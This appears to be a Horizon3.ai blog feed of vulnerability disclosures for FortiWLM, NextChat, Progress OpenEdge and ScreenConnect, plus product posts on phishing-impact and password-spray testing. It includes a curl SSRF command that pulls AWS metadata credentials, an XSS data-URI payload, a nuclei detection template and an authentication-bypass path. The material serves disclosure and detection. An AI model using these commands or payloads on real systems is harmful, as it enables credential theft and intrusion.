Normal view

There are new articles available, click to refresh the page.
Before yesterdayHorizon3.ai

Fortinet FortiWLM Deep-Dive, IOCs, and the Almost Story of the “Forti Forty”

14 March 2024 at 09:45

Early in 2023, soon after reproducing a remote code execution vulnerability for the Fortinet FortiNAC, I was on the hunt for a set of new research targets. Fortinet seemed like a decent place to start given the variety of lesser-known security appliances I had noticed while searching for the FortiNAC firmware. The first target I landed on was the Fortinet Wireless LAN Manager (WLM). The security audit of this appliance began what became the successful, but failed journey of what I dubbed the “Forti Forty” – a goal to find 40 CVE’s in Fortinet appliances. The journey ended in 16 mostly critical and high security issues identified across the FortiWLM, FortiSIEM, and another appliance before it was cut short when Fortinet’s download portal no longer provided access to download their appliances.

This blog details several of the issues discovered in the FortiWLM that have since been patched:

  1. CVE-2023-34993 – Multiple Unauthenticated Command Injections – PSIRT-23-140
  2. CVE-2023-34991 – Unauthenticated SQL Injection – PSIRT-23-142
  3. CVE-2023-42783 – Unauthenticated Arbitrary File Read – PSIRT-23-143
  4. CVE-2023-48782 – Authenticated Command Injection – PSIRT-23-450

Additionally two vulnerabilities that have not received patches leading to appliance compromise:

  1. Unauthenticated Limited Log File Read – Allows retrieval of arbitrary log files which contain administrator session ID tokens
  2. Static Session ID Vulnerability – Session IDs do not change between sessions for users. Chained with the above issue allows trivial compromise of the device.

Fortinet Wireless LAN Manager Overview

Fortinet’s Wireless LAN Manager allows for ease of management of wireless devices throughout an enterprise. It remotely monitors the devices health, performance, and any RF interference all in a single pane of glass. It’s commonly deployed in large campus settings like universities, hospitals, and other large office footprints – making it a valuable target of interest in today’s threat landscape.

Figure 1. FortiWLM Dashboard

FortiWLM Web Framework and Middleware

The FortiWLM web services are built atop the Apache2 and Django frameworks. The Apache configuration has defined several rewrite rules from the frontend on tcp/443 and passes them back to the Django framework middleware which listens on localhost tcp/8000.

The core of the Django middleware logic lies within the /opt/meru/etc/ws/wlmweb directory. Inspecting the file /opt/meru/etc/ws/wlmweb/wlmweb/wlmrbac.py, within the process_view() function, we see that several endpoints depending on the request path are validated against the current requests session authentication information.

On line 86, the two endpoints are explicitly allowed for any request without any authentication checks:

  1. /ems/cgi-bin/ezrf_upgrade_images.cgi
  2. /ems/cgi-bin/ezrf_lighttpd.cgi

Figure 2. wlmrbac.py authentication checks

Path to Remote Code Execution #1

CVE-2023-34993: Fortinet FortiWLM Unauthenticated Command Injection Vulnerability

This vulnerability allows remote, unauthenticated attackers to inject a crafted malicious string in a request to the /ems/cgi-bin/ezrf_upgrade_images.cgi endpoint that will be executed in the context of root. The issue results from the lack of proper validation of results and calls to the potentially dangerous function system(). 

The first endpoint explicitly allowed without authentication, /ems/cgi-bin/ezrf_upgrade_images.cgi, can be found at /opt/meru/etc/ws/cgi-bin/ezrf_upgrade_images.cgi. All CGI endpoints are Perl scripts which, depending on the endpoint, parse different request parameters which are sometimes validated, but sometimes not. 

This ezrf_upgrade_image.cgi endpoint parses the op_type request parameter, and depending on the value, passes control to different defined functions within the script.

Figure 3. ezrf_upgrade_images.cgi operation types

The deleteprogressfile() function extracts the progressfile request parameter and then directly passes it to a call to system() without any input validation.

Figure 4. ezrf_upgrade_images.cgi’s vulnerable deleteprogressfile()

Sending a request to this unauthenticated endpoint with op_type=deleteprogressfile and a  malicious string in the progressfile parameter results in remote code execution in the context of the root user.

Figure 5. Unauthenticated RCE as root via ezrf_ugprade_image.cgi endpoint

Path to Remote Code Execution #2

CVE-2024-???? (0-day): Fortinet FortiWLM Unauthenticated Limited File Read Vulnerability

This vulnerability allows remote, unauthenticated attackers to access and abuse builtin functionality meant to read specific log files on the system via a crafted request to the /ems/cgi-bin/ezrf_lighttpd.cgi endpoint. This issue results from the lack of input validation on request parameters allowing an attacker to traverse directories and read any log file on the system.

The second endpoint explicitly allowed without authentication, /ems/cgi-bin/ezrf_lighttpd.cgi, can be found at /opt/meru/etc/ws/cgi-bin/ezrf_lighttpd.cgi. Again, this CGI endpoint is a Perl script in which different request parameters are not always validated.

When the op_type is upgradelogs, control is passed to the upgradelogs() function. This function will read the specific log file from the system and return its content in the response.

Figure 6. ezrf_lighttpd.cgi upgradelogs() function

Inspecting how the $filename variable is constructed we see that it is partially controlled by the imagename request parameter.

Figure 7. ezrf_lighttpd.cgi attacker controlled input unvalidated

Abusing the lack of input validation, an attacker can construct a request where the imagename parameter contains a path traversal, allowing the attacker to read any log file on the system.

Luckily for an attacker, the FortiWLM has very verbose logs – and logs the session ID of all authenticated users. Abusing the above arbitrary log file read, an attacker can now obtain the session ID of a user and login and also abuse authenticated endpoints.

Figure 8. Leak Session ID with Unauthenticated Arbitrary Log File Read

CVE-2023-48782: Fortinet FortiWLM Authenticated Command Injection Vulnerability

This vulnerability allows remote, authenticated attackers to inject a crafted malicious string in a request to the /ems/cgi-bin/ezrf_switches.cgi endpoint that will be executed in the context of root. The issue results from the lack of proper validation of results and insecure use of the dangerous system calls. This endpoint is accessible for both low privilege users and admins.

The ezrf_switches.cgi endpoint supports several op_type subfunctions related to adding a LAN switch for monitoring. This CGI script can be found at /opt/meru/etc/ws/cgi-bin/ezrf_switches.cgi.

The updateStatus() helper function, called in two different op_type functions, is vulnerable to command injection of both the $switche_table_k_Hostname and $switche_table_k_CommunityString variables which are derived from user input.

Figure 9. ezrf_switches.cgi vulnerable updateStatus()

Both addSwitche() and editSwitche() functions call the vulnerable updateStatus() helper function without validating any input. 

Figure 10. ezrf_switches.cgi addSwitche() calls updateStatus()

Tracing those variables to where they are declared, they are derived straight from the request parameters Hostname and CommunityString, and are never validated along the way.

Figure 11. ezrf_switches.cgi request parameters unvalidated

Combining both the unauthenticated arbitrary log file read and this authenticated command injection, an unauthenticated attacker can obtain remote code execution in the context of root.

Figure 12. Abusing Unauth Log Read and Auth Command Injection to obtain root RCE

Other Security Issues

The initial report to Fortinet contained a total of 9 specific security issues, largely concentrated on the unauthenticated endpoints discovered in the Django middleware. The authenticated attack surface is large, and at the time contained numerous issues that were similar in nature to the ones detailed here stemming from a lack of input validation. Two additional security issues of note reported and patched, but unused in the attack paths were:

CVE-2023-42783: Fortinet FortiWLM Unauthenticated Arbitrary File Read Vulnerability

This vulnerability allows remote, unauthenticated attackers to access and abuse builtin functionality meant to read specific log files on the system via a crafted request to the /ems/cgi-bin/ezrf_upgrade_images.cgi endpoint in the uploadstatus function with the progressfile parameter. This issue results from the lack of input validation on request parameters allowing an attacker to traverse directories and read any file on the system.

CVE-2023-34991: Fortinet FortiWLM Unauthenticated SQL Injection Vulnerability

This vulnerability allows remote, unauthenticated attackers to access and abuse builtin functionality meant to list images on the system via a crafted request to the /ems/cgi-bin/ezrf_upgrade_images.cgi endpoint in the editimage function with the imageName and description parameters. This issue results from the lack of input validation on request parameters allowing an attacker to modify a SQL query string.

CVE-2024-???? (0-day): Fortinet FortiWLM Static Session ID Vulnerability

The web session ID token of authenticated users remains static, and unchanged, for users between sessions. Each time a user logs in, they receive the exact same session ID token. This token remains static for each boot of the device. An attacker that can obtain this token can abuse this behavior to hijack sessions and perform administrative actions. This session ID is retrievable with the unpatch limited log file read vulnerability above and can be user to gain administrative permissions to the appliance.

Internet Exposure

While we found it to be popular with State, Local, and Education (SLED) and healthcare focused customers, luckily the internet exposure is fairly limited to around 15 instances.

Figure 13. Shodan Exposure

Indicators of Compromise

The FortiWLM logs the majority of its application activities in the /data/apps/nms/logs directory. Specifically activity related to the exploitation these issues can be observed in the /data/apps/nms/logs/httpd_error_log.log file. Example entries of the log file included below show the exploitation of the unauthenticated remote code execution vulnerability, CVE-2023-34993. If defenders suspect that an appliance has been compromised, the logged request parameters should be analyzed to determine if they appear malicious.

Figure 14. httpd_error_log.log example entry

Timeline

12 May 2023 – Submitted report to Fortinet PSIRT

15 May 2023 – PSIRT acknowledges receipt

10 July 2023 – PSIRT reproduces issues and indicates fix is in-progress

10 August 2023 – Ask for update, PSIRT responds fix is awaiting release

11 October 2023 – PSIRT releases fixes for 2 reported issues

14 November 2023 – PSIRT releases fixes for 2 more reported issues

21 November 2023 – Indicate to PSIRT of intent to publicly disclose all issues

22 November 2023 – PSIRT indicates remaining 3 vulnerabilities will be patched soon

7 December 2023 – PSIRT releases 1 fix for more reported issues

23 February 2024 – RingZer0 conference talk discussing some of these vulnerabilities

14 March 2024 – This public disclosure after 307 days with two unpatched vulnerabilities

The post Fortinet FortiWLM Deep-Dive, IOCs, and the Almost Story of the “Forti Forty” appeared first on Horizon3.ai.

What’s the true impact on your organization when an employee is phished?

6 March 2024 at 21:00

You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.

The post What’s the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.

NextChat: An AI Chatbot That Lets You Talk to Anyone You Want To

11 March 2024 at 13:01

With the advent of generative AI, AI chatbots are everywhere. While users can chat with large-langage models (LLMs) using a SaaS provider like OpenAI, there are lots of standalone chatbot applications available for users to deploy and use too. These standalone applications generally offer a richer user interface than OpenAI, additional features such as the ability to plug in and test different models, and the ability to potentially bypass IP block restrictions.

From our research, the most widely deployed standalone Gen AI chatbot is NextChat, a.k.a ChatGPT-Next-Web. This is a GitHub project with 63K+ stars and 52K+ forks. The Shodan query  title:NextChat,"ChatGPT Next Web" pulls up 7500+ exposed instances, mostly in China and the US.

This application is vulnerable to a critical full-read server-side request forgery (SSRF) vulnerability, CVE-2023-49785, that we disclosed to the vendor in November 2023. As of this writing, there is no patch for the vulnerability, and since 90+ days has passed since our original disclosure, we are now releasing full details here.

CVE-2023-49785: A Super SSRF

NextChat is a Next.js-based Javascript application, and most of its functionality is implemented as client-side code.

There are, however, a few exposed server endpoints. One of these endpoints is at /api/cors, and it functions by design as an open proxy, allowing unauthenticated users to send arbitrary HTTP requests through it. This endpoint appears to have been added to support saving client-side chat data to WebDAV servers. The presence of this endpoint is an anti-pattern: it allows clients to bypass built in browser protections for accessing cross-domain resources by accessing them through a server-side endpoint instead.

For instance to access Google through this proxy, one can make the following request:

SSRF vulnerabilities vary considerably in terms of real-world impact. This particular SSRF is about as bad as it gets. It’s dangerous because:

  • It enables access to arbitrary HTTP endpoints, including any internal endpoints
  • It returns the full response from any accessed HTTP endpoints
  • It supports arbitrary HTTP methods such as POST, PUT, etc by setting the method header. Request bodies are also passed along.
  • URL query parameters can be passed along with URL encoding.
  • It supports passing along an Authorization header in requests.

If this application is exposed on the Internet, an attacker essentially has full access to any other HTTP resources accessible in the same internal network as the application. The only limitation is passing along other headers such as Cookie or Content-Type, though there may be creative ways to inject these headers.

Here’s an example of accessing the AWS cloud metadata service to retrieve AWS access keys off an AWS EC2 instance running with IMDSv1 enabled:

sh-3.2# curl http://54.145.48.76:3000/api/cors/http/169.254.169.254/latest/meta-data/iam/security-credentials/REDACTED
{
  "Code" : "Success",
  "LastUpdated" : "2024-03-08T00:22:17Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA-REDACTED",
  "SecretAccessKey" : "C2CW-REDACTED",
  "Token" : "IQoJb3JpZ2luX2VjENH-REDACTED",
  "Expiration" : "2024-03-08T06:58:15Z"
}

Reflected XSS

Almost all reflected XSS vulnerabilities are of little value to attackers. But we thought it was interesting to note that this vulnerability can be used to directly trigger an XSS without loading another site. This is because the fetch method used by the /api/cors endpoint also supports the data protocol.

For instance, the following payload:

data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23

will be decoded to <script>alert(document.domain)</script> at the server and sent back to the client, resulting in XSS:

Mitigations

Our assessment of this vulnerability puts the CVE base score at 9.1 (critical). The vulnerability not only enables read access to internal HTTP endpoints but also write access using HTTP POST, PUT, and other methods. Attackers can also use this vulnerability to mask their source IP by forwarding malicious traffic intended for other Internet targets through these open proxies.

As of this writing, there is no patch for the vulnerability. More than 90 days has passed since our original contact.

  • Nov. 25, 2023: Horizon3 reports security issue to ChatGPT-Next-Web via GitHub vulnerability disclosure process
  • Nov. 26, 2023: Vendor accepts the report
  • Dec. 6, 2023: GitHub CNA reserves CVE-2023-49785
  • Jan. 15, 2024: Horizon3 asks vendor for an update using the GitHub security issue. No response.
  • Mar. 7, 2024: Horizon3 asks vendor for an update using the GitHub security issue. No response.
  • Mar. 11, 2024: Public disclosure

We recommend that users not expose this application on the Internet. If it must be exposed to the Internet, ensure it is an isolated network with no access to any other internal resources. Beware that attackers can still use the application as an open proxy to disguise malicious traffic to other targets through it.

Detection

The following nuclei template can be used to detect this vulnerability. The vulnerable code was introduced in Sept. 2023. The majority of instances online, including any instances using the more recent “NextChat” name, are highly likely to be vulnerable.

id: CVE-2023-49785

info:
  name: CVE-2023-49785
  author: nvn1729
  severity: critical
  description: Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
  remediation: |
    Do not expose to the Internet
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-49785
  tags: cve-2023-49785,ssrf,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
      - "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS interaction from second request
        words:
          - "dns"
      
      - type: dsl
        dsl:
          - 'contains(body_1, "<script>alert(document.domain)</script>") && contains(header_1, "text/html")' # XSS validation in first request
          - 'contains(header_2, "X-Interactsh-Version")' # Or got HTTP response back from Interact server

Conclusion

Over the last two years, we have observed the rapid pace of development of new generative AI applications, and there is a big appetite to use and experiment with these applications. We’ve also observed a steady blurring of lines between personal use and corporate use. While NextChat is primarily meant for personal use, we’ve seen it in a few of our own client environments.

Security has simply not kept up, both AppSec practices and vulnerability disclosure processes. The focus of the infosec community and media at large has been on “security harms” like prompt injection or model poisoning, but there are lots of high impact, conventional vulnerabilities to be found. We recommend users exercise caution when exposing any unvetted Gen AI tools to the Internet.

References

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post NextChat: An AI Chatbot That Lets You Talk to Anyone You Want To appeared first on Horizon3.ai.

CVE-2024-1403: Progress OpenEdge Authentication Bypass Deep-Dive

6 March 2024 at 16:58

On February 27, 2024, Progress released a security advisory for OpenEdge, their application development and deployment platform suite. The advisory details that there exists an authentication bypass vulnerability which effects certain components of the OpenEdge platform. Our proof of concept can be found here.

When the OpenEdge Authentication Gateway (OEAG) is configured with an OpenEdge Domain that uses the OS local authentication provider to grant user-id and password logins on operating platforms supported by active releases of OpenEdge, a vulnerability in the authentication routines may lead to unauthorized access on attempted logins.

Similarly, when an AdminServer connection is made by OpenEdge Explorer (OEE) and OpenEdge Management (OEM), it also utilizes the OS local authentication provider on supported platforms to grant user-id and password logins that may also lead to unauthorized login access.

OpenEdge Architecture

The OpenEdge platform has several different components that can be deployed across an environment:

  1. OpenEdge Management (an enterprise version of OpenEdge Explorer)
  2. OpenEdge Enterprise RDBMS
  3. OpenEdge Replication
  4. OpenEdge Authentication Gateway (OEAG)
  5. Progress Application Server (PAS) for OpenEdge
  6. Progress Develop Studio (PDS) for OpenEdge

Typically the OpenEdge Management, OpenEdge Enterprise RDBMS, and PAS roles are deployed on a system and act as the backend, central source of information for developers using PDS as clients to develop applications. If an the Authentication Gateway is in use, it centrally manages authentication across the OpenEdge ecosystem.

Figure 1. Example OpenEdge Deployment

Finding The Vulnerable Component

In this case, we were unable to obtain a patched system to perform patch diffing, but there are quite a few interesting details that can be picked from the advisory. The advisory states: “The AdminServer logins are always potentially vulnerable because they only support OS local logins”. Additionally the temporary mitigations specify:

The following mitigation options are intended for short-term use until you can apply the provided OpenEdge Update to your deployments. The revised “auth.dll” library associated with the OS you’re using should be copied into $DLC/bin to replace the vulnerable version of the “auth.dll” library that existed in LTS Updates 11.7.18, 12.2.13 or 12.8.0.

Given this information, we install OpenEdge Manager, RDBMS, and PAS on a single Windows server and inspect the installed services with TaskManager and find that these roles will start the vulnerable “AdminServer” service referenced in the advisory.

Figure 2. AdminServer service running

Now that we have the vulnerable component running – an often overlooked part of reversing is spending hours reading documentation, we find documentation on the AdminServer service and what its used for. The documentation states that its a Java RMI service listening by default on tcp/20931 and references several command line utilities to communicate with the service:

  • This is the RMI port used by command line utilities: proadsv, asbman, wtbman, nsman, restman, and pre OpenEdge 12.0 fathom cmd line tooling
  • The default listening port for the AdminServer (-port) remains 20931 for all versions.

Inspecting our listening connections on the Windows server, we find that the AdminServer is indeed listening on tcp/20931.

Figure 3. AdminServer service listening

Inspecting the command use to kick off the Java process we find it’s loading several Progress JARs and calling com.progress.chimera.adminserver.AdminServerStarter.

Figure 4. AdminServer command line

Reversing the AdminServer Service

We find that the com.progress.chimera.adminserver.AdminServerStarter class is defined in C:\Progress\OpenEdge\java\progress.jar. Inspecting the class, we find that when a remote connection is made the connect() method is called and expects a user supplied username and password.

Figure 5. AdminServer connect()

The connect() method interestingly loads a native system library, auth.dll, and eventually calls the authorizeUser() method defined in it. Replacing auth.dll was mentioned in the temporary mitigations so we’re likely on the right track.

Figure 6. Loading auth.dll

Opening up auth.dll in Ghidra, we find that it exports several functions to be available as Java interfaces, one of which is our authorizeUser() function.

Figure 7. Java Interfaces from auth.dll

The authorizeUser() function performs some basic input validation, ensures the supplied credentials meet certain criteria, and passes control to a function we named vulnerable_checks() (defined at 0x1800051a0). This function does further validation, but getting right into the meat of the vulnerability we see that on line 262 the user supplied AccountName (username) is compared the NT AUTHORITY/SYSTEM. If it matches, you are authenticated.

Figure 8. If username == “NT AUTHORITY/SYSTEM”: you may pass

Thats the vulnerability.

Figure 9. Its a feature

Impact

While we’ve bypassed authentication, finding attack surface to abuse to drive some impact like remote code execution was the next goal.

Deserialization

Java Remote Method Invocation (RMI) interfaces typically suffer from deserialization vulnerabilities, but in this case there were no classic libraries in the class path of the service to easily abuse with a ysoserial gadget. We did confirm that deserialization is possible with a simple out-of-band DNS request payload, but did not spend the time to develop a custom gadget with the in scope libraries. Remote code execution is likely possible with this avenue.

Abuse of Built In Functionality

We spent the better part of a day looking for easily abusable functionality within the available RMI interfaces. Easily reachable functionality allows a user to start, stop, and list performance metrics of applications. Deeper attacker surface looks like it may allow a user to deploy new applications via remote WAR file references, but the complexity increased dramatically in order to reach this attack surface because of the use of internal service message brokers and custom messages. We believe there is again likely an avenue to remote code execution via built in functionality given enough research effort.

Creating a Proof of Concept

We continue our investigation by re-examining the AdminServer class and dbman.bat which makes use of the AdminServer. We find that we can connect to the AdminServer over RMI at rmi://<target_ip>:29031/Chimera. We get back an IAdminServerConnection which exposes two connect methods that require a username and password. With our knowledge from dbman.bat we know we need to encode the username and password using an Encoder from oeauth-12.8.0.jar.

Now that we are connected to the AdminServer, what can we do? We can use the following code to display all interfaces available to us from the AdminServer‘s getPlugins method:

We get the following output:

com.progress.system.SystemPlugIn
com.progress.chimera.common.IChimeraRemoteObject
com.progress.system.ISystemPlugIn

com.progress.agent.database.AgentPlugIn
com.progress.chimera.common.IChimeraRemoteObject
com.progress.agent.database.IAgentPlugIn
com.progress.ubroker.tools.NSRemoteObject
com.progress.chimera.common.IChimeraHierarchy
com.progress.ubroker.tools.IYodaRMI
com.progress.ubroker.tools.IYodaSharedResources
com.progress.ubroker.tools.UBRemoteCommand
com.progress.chimera.common.IChimeraRemoteCommand
com.progress.juniper.admin.JAPlugIn
com.progress.chimera.common.IChimeraRemoteObject
com.progress.juniper.admin.IJAPlugIn
com.progress.agent.smdatabase.SMPlugIn
com.progress.chimera.common.IChimeraRemoteObject

From here, we leave it as an exercise to the reader to figure out what you can do with the above interfaces. Our proof of concept can be found here.

NOTE: We will not be distributing the Progress JARs given we do not own that code. These JARs can be obtained from an OpenEdge installation and are required to run the proof of concept.

Indicators of Compromise

When a connection is made to the AdminServer service, logs are generated at C:\OpenEdge\WRK\admserv. An example log entry can be seen below where it records the user authenticating as well as the Java interfaces that user is accessing, the UBRemoteCommand class in our case. While it seems that accessing this service via the NT AUTHORITY/SERVICE account was intended, we did not observe log entries associated to this account outside of service startup. We also were not running a production server where more service traffic may be generated and observed.

The post CVE-2024-1403: Progress OpenEdge Authentication Bypass Deep-Dive appeared first on Horizon3.ai.

Horizon3.ai Unveils Pentesting Services for Compliance Ahead of PCI DSS v4.0 Rollout

5 March 2024 at 14:04

Business Wire 03/05/2024

Horizon3.ai, a pioneer in autonomous security solutions, today announced the availability of the Horizon3.ai Pentesting Services for Compliance. Horizon3.ai recognizes that demand for pentesting expertise is at an all-time high…

Read the entire article here

The post Horizon3.ai Unveils Pentesting Services for Compliance Ahead of PCI DSS v4.0 Rollout appeared first on Horizon3.ai.

What’s the true impact on your organization when an employee is phished?

29 February 2024 at 20:13

You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.

The post What’s the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.

ConnectWise ScreenConnect: Authentication Bypass Deep Dive

21 February 2024 at 14:56

Introduction

On February 19, 2023, ConnectWise published a security advisory for their ScreenConnect remote management tool. In the advisory, they describe two vulnerabilities, an authentication bypass with CVSS 10.0 and a path traversal with CVSS 8.4 (both currently without assigned CVE IDs). In this post we will dive into the technical details of the authentication bypass. You can view our POC here.

Update: On February 21, 2023, the authentication bypass vulnerability was assigned as CVE-2024-1709 and added to CISA’s Known Exploited Vulnerability (KEV) catalog.

Patch Diffing

Comparing versions 23.9.7.8804 and 23.9.8.8811, we find a small update to SetupWizard.aspx. We see that a check was added to make sure that the initial application setup has not been completed if a user it trying to access the SetupWizard. The SetupWizard is responsible for creating an initial user and password, so it makes sense that this page should be locked down after an initial user has been created.

SetupWizard.aspx

Figure 1. SetupWizard.aspx

The Vulnerability

There is a HTTP request filter in SetupModule.cs that has two responsibilities:

  • If the application hasn’t been setup, redirect all requests to SetupWizard.aspx
  • If the application has been setup, deny any requests to SetupWizard.aspx or redirect to Administration.aspx

SetupModule.cs OnBeginRequest

Figure 2. SetupModule.cs OnBeginRequest

However, there is an issue with how this code checks if the request URL is SetupPage.aspx. The use of string.Equals checks for exact equality, so a URL like <app_url>/SetupWizard.aspx will match. However, there are other URLs that resolve to SetupWizard.aspx that don’t match. If we simply add a forward slash to the end of the URL (<app_url>/SetupWizard.aspx/) we get access to the setup wizard, even after the application is already setup.

SetupWizard.aspx

Figure 3. SetupWizard.aspx

We can observe the differences in responses using Burp Suite. Notice the request path /SetupWizard.aspx responds with a 302, but the malicious path /SetupWizard.aspx/ responds with a 200.

SetupWizard.aspx responses

Figure 4. SetupWizard.aspx responses

 

Indicators of Compromise

The application’s Admin -> Audit page displays a list of recent login attempts along with the IP address. You can check this page for any unrecognized users or IP addresses.

Figure 4. Audit Logs

As soon as we had sufficient information, we shared it with GreyNoise for which they developed a tag. Check out their tag here: https://viz.greynoise.io/tags/connectwise-screenconnect-auth-bypass-rce-attempt?days=1

Summary

This vulnerability allows an attacker to create their own administrative user on the ScreenConnect server, giving them full control over the server. This vulnerability follows a theme of other recent vulnerabilities that allow attackers to reinitialize applications or create initial users after setup. See our recent writeup for a CVE-2024-0204 as an example.

Unfortunately, this vulnerability has not yet been assigned a CVE. Users of ConnectWise ScreenConnect should patch immediately to prevent attackers from leveraging this vulnerability.

NodeZero

Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

 

Figure 5. NodeZero Attack Path to Exploitation

Figure 6. Proof of Accessing the SetupWizard.aspx page

The post ConnectWise ScreenConnect: Authentication Bypass Deep Dive appeared first on Horizon3.ai.

Horizon3.ai Unveils Phishing Impact Testing to Help Organizations Understand the Impact of Phished Credentials

7 February 2024 at 14:06

Business Wire 02/07/2024

Horizon3.ai, a pioneer in autonomous security solutions, today announced the launch of its first-to-market Phishing Impact test capability within NodeZero™. This new capability marks a significant…

Read the entire article here

The post Horizon3.ai Unveils Phishing Impact Testing to Help Organizations Understand the Impact of Phished Credentials appeared first on Horizon3.ai.

Gone Phishing: How an Intern’s Credentials can be a Gateway to Your Crown Jewels

5 February 2024 at 14:00

“Who cares that the intern was phished during our phishing campaign? It’s an intern, they don’t have access to anything important.”

As a security practitioner, that mindset among business leaders drove me nuts. There are many ways a credential as innocuous as an intern’s could be used by an attacker to compromise a domain or gain access to sensitive data, but it was very difficult to articulate the “blast radius” of a phished credential.

That’s why I’m really excited to launch the new Phishing test type within NodeZero…

  1. A user sets up a phishing campaign using KnowBe4, Proofpoint, Mimecast or other phishing test tools.
  2. That user adds a few lines of javascript generated by NodeZero to their phishing page.
  3. Credentials caught by KnowBe4 are automatically injected into a running NodeZero pentest via the javascript copied into the phishing page.
  4. NodeZero then uses those phished credentials as part of its attack, finding ways to chain together credentials, misconfigurations, CVEs, and dangerous product defaults to achieve a technical objective (e.g. Domain Compromise, Sensitive Data Exposure, etc).
  5. The user gets a detailed report of the blast radius for every credential phished by the KnowBe4 campaign.

The NodeZero Phishing Impact test is first-to-market and gives you the ammunition required to drive meaningful improvements to the credential attack surface of your organization.

“Actually boss, the intern’s credentials enabled the attacker—NodeZero—to gain access to our sensitive financial data. Take a look for yourself…”

Why is understanding the blast radius of a phished credential important? Here’s a real-world example of how a phished credential led to a domain admin compromise…

Setup:

  1. A phishing campaign was configured and executed using KnowBe4.
  2. A few lines of javascript were added to the fake KnowBe4 page to safely channel phished credentials into a running NodeZero internal pentest.
  3. As phished credentials started flowing into NodeZero, NodeZero used them as part of its attack.

Attack path:

  1. NodeZero uses the phished credential to successfully exploit PrintNightmare on Host1. PrintNightmare (CVE-2021-34527) is a remote code execution vulnerability in the Windows Print Spooler service that allows an attacker to run arbitrary code with system privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
  2. With those system privileges, NodeZero successfully drops a remote access tool (RAT) on the compromised host, which allows it to access sensitive processes like Security Account Manager (SAM), LSA, etc. A properly configured EDR like CrowdStrike, SentinelOne, or Fortinet is supposed to prevent the RAT from successfully deploying, but it’s easy to misconfigure these tools.
  3. With the RAT successfully deployed, NodeZero then dumps SAM and harvests several user-ids and their corresponding NTLM hashes. SAM is a database that is present on Windows machines that stores user accounts and security descriptors for users on that machine.
  4. The compromised credential has both local admin privileges on the host and has domain admin privileges within the domain. This means the attacker (NodeZero) now has the keys to the kingdom.

tl;dr PrintNightmare is the CVE that enabled the attack path. An attacker requires a valid domain user credential in order to exploit Printnightmare. In this case, the attacker – NodeZero – successfully obtained that valid domain user credential via the phishing integration.

In addition, the customer had to investigate why their EDR did not successfully stop the deployment of the RAT on the compromised host, which provided the second critical step in the journey to domain admin compromise.

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post Gone Phishing: How an Intern’s Credentials can be a Gateway to Your Crown Jewels appeared first on Horizon3.ai.

NodeZero APT: Azure Password Spray Leads to Business Email Compromise

6 February 2024 at 15:57

On January 19, 2024, Microsoft disclosed a major security incident in which the email of Microsoft senior executives and other staff were accessed by Midnight Blizzard a.k.a Cozy Bear, a nation-state threat actor affiliated with Russia. Microsoft determined that the actor got initial access using password spray to compromise a legacy non-production test tenant account in Microsoft Entra ID (formerly Azure AD). The actor then moved laterally using the excessive permissions granted to that test account to access the email of Microsoft employees.

Password spray is a surprisingly simple and effective technique we’ve written about before. In a password spray attack, an attacker tries to login to a lot of accounts using a few probable passwords, with the hope that at least one account is using a weak password.

In this real-world external pentest, we’ll show NodeZero conducting a password spray attack against Microsoft Entra ID to get initial access to a client’s tenant account, similar to what Midnight Blizzard did. From there NodeZero detects that multi-factor authentication is disabled and breaks into the email of the compromised user.

A Real World Example

In this example, a client conducted an external pentest using NodeZero. NodeZero ran from Horizon3.ai’s cloud environment and was not provided any credentials.

Configuring an External Pentest for Password Spray

When defining the assets in scope for this pentest, the client provided NodeZero a list of company-owned domains. NodeZero uses these domains to enumerate Azure tenants that belong to the client.

In the Attack Configuration for the pentest, the MS Entra (Azure AD) Password Spray flag was also enabled. This is on by default.

To avoid locking out accounts, NodeZero only attempts three passwords an hour. A duration of time can be set for how long the pentest runs, in order to get in more password spray attempts.

Attack Path

Here are the steps NodeZero took in this test to get to business email compromise:

  1. NodeZero used the provided domains to discover a Microsoft Entra tenant associated with the client.
  2. NodeZero used open source intelligence (OSINT) to discover potential usernames associated with the client.
  3. NodeZero verified which users are actual users belonging to the client’s tenant.
  4. NodeZero sprayed a highly probable password against all verified users. One of the users hit!
  5. NodeZero then discovered that MFA was disabled for the user. NodeZero logged into the user’s account and acquired an Azure access and refresh token.
  6. NodeZero then accessed the user’s Microsoft365 inbox.

The full attack path is shown below:

Takeaways

It took NodeZero less than 10 minutes to execute this attack path leading to business email compromise, starting with no privileges in the form of credentials or network access. This attack was performed autonomously with no human assistance or prior scripting.

The impact of business email compromise is huge. Not only can attackers access potentially sensitive data, they can use the compromised account to conduct lateral phishing attacks and further escalate privileges.

Microsoft has been rolling out MFA for all its tenants, but in practice we’ve seen that there have been gaps in this rollout, just as Microsoft experienced with its own legacy test tenant. The application of MFA also depends on how the tenant is configured. Use NodeZero to verify your true security posture!

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

 

The post NodeZero APT: Azure Password Spray Leads to Business Email Compromise appeared first on Horizon3.ai.

Rust Won’t Save Us: An Analysis of 2023’s Known Exploited Vulnerabilities

6 February 2024 at 09:58

Introduction

Memory safety issues have plagued the software industry for decades. The Cybersecurity & Infrastructure Security Agency (CISA) has been leading a charge for secure-by-design and encouraging developers and vendors to utilize memory safe languages like Rust to eradicate this vulnerability class. 

